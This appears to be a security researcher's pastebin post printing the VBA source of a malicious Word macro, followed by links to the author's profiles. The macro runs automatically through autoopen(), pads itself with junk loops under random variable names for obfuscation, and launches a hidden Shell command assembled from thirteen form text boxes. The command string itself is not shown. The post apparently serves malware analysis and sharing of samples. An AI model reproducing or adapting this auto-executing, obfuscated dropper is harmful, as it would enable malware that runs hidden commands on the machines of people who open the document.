Malicious Word Document Macro

Malicious Word Document Macro

*******
*******
*******

Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Sub autoopen()
Dim AlelPdcsyqOeQGpr As Integer
AlelPdcsyqOeQGpr = 1
Do While AlelPdcsyqOeQGpr < 1 + 10
AlelPdcsyqOeQGpr = AlelPdcsyqOeQGpr + 1: DoEvents
Loop
Dim BoOlkLtKxBb As Integer
Dim HNJVZn As Integer
HNJVZn = 2468
Do While HNJVZn < 2468 + 10
HNJVZn = HNJVZn + 1: DoEvents
Loop
BoOlkLtKxBb = 1036
Dim FUcenKF As Integer
FUcenKF = 1520
Do While FUcenKF < 1520 + 10
FUcenKF = FUcenKF + 1: DoEvents
Loop
Do While BoOlkLtKxBb < 1036 + 10
Dim EkttsxibiMa As Integer
EkttsxibiMa = 2485
Do While EkttsxibiMa < 2485 + 10
EkttsxibiMa = EkttsxibiMa + 1: DoEvents
Loop
BoOlkLtKxBb = BoOlkLtKxBb + 1: DoEvents
Shell mmJhasvxjdUs.TextBox1 + mmJhasvxjdUs.TextBox2 + mmJhasvxjdUs.TextBox3 + mmJhasvxjdUs.TextBox4 + mmJhasvxjdUs.TextBox5 + mmJhasvxjdUs.TextBox6 + mmJhasvxjdUs.TextBox7 + mmJhasvxjdUs.TextBox8 + mmJhasvxjdUs.TextBox9 + mmJhasvxjdUs.TextBox10 + mmJhasvxjdUs.TextBox11 + mmJhasvxjdUs.TextBox12 + mmJhasvxjdUs.TextBox13, vbHide
Dim vlQLMKP As Integer
vlQLMKP = 365
Do While vlQLMKP < 365 + 10
vlQLMKP = vlQLMKP + 1: DoEvents
Loop
Loop
Dim UOEkttsxi As Integer
UOEkttsxi = 1918
Do While UOEkttsxi < 1918 + 10
UOEkttsxi = UOEkttsxi + 1: DoEvents
Loop
Dim ahxYYndgYwa As Integer
Dim lCRZa As Integer
lCRZa = 1600
Do While lCRZa < 1600 + 10
lCRZa = lCRZa + 1: DoEvents
Loop
ahxYYndgYwa = 1669
Dim heYqnKg As Integer
heYqnKg = 1188
Do While heYqnKg < 1188 + 10
heYqnKg = heYqnKg + 1: DoEvents
Loop
Do While ahxYYndgYwa < 1669 + 10
Dim UOhQnQinkv As Integer
UOhQnQinkv = 2441
Do While UOhQnQinkv < 2441 + 10
UOhQnQinkv = UOhQnQinkv + 1: DoEvents
Loop
ahxYYndgYwa = ahxYYndgYwa + 1: DoEvents
Dim oUnZd As Integer
oUnZd = 953
Do While oUnZd < 953 + 10
oUnZd = oUnZd + 1: DoEvents
Loop
Loop
Dim LOjLP As Integer
LOjLP = 2411
Do While LOjLP < 2411 + 10
LOjLP = LOjLP + 1: DoEvents
Loop
End Sub


*******
*******
*******
More FROM @neonprimetime security

http://pastebin.com/u/Neonprimetime
https://www.virustotal.com/en/USER/neonprimetime/
https://twitter.com/neonprimetime
https://www.reddit.com/USER/neonprimetime